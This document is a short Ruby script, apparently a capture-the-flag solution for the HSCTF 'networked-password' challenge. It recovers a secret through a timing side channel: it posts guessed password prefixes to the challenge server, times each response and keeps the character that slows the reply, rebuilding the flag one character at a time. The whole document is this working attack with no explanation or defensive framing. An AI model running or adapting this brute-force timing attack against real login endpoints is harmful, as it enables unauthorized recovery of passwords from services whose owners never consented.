require 'benchmark' require 'http' def http_post(prefix) HTTP.post('https://networked-password.web.chal.hsctf.com/', form: { password: prefix }) end def guess_good?(prefix) time = Benchmark.realtime { http_post(prefix) } puts "testing: #{prefix} (#{time})" time > prefix.length * 0.5 + 0.3 end CHARSET = 'etaoinshrdlucmwfgypbvkjxqz_ 0123456789!@#$%^&*[]+-=ETAOINSHRDLUCMWFGYPBVKJXQZ`~();:\\,./<>?'.chars def guess_flag_char(prefix) CHARSET.each do |char| return char if guess_good?(prefix + char) end raise '>_>' end flag = 'hsctf{' char = nil until char == '}' char = guess_flag_char(flag) flag += char end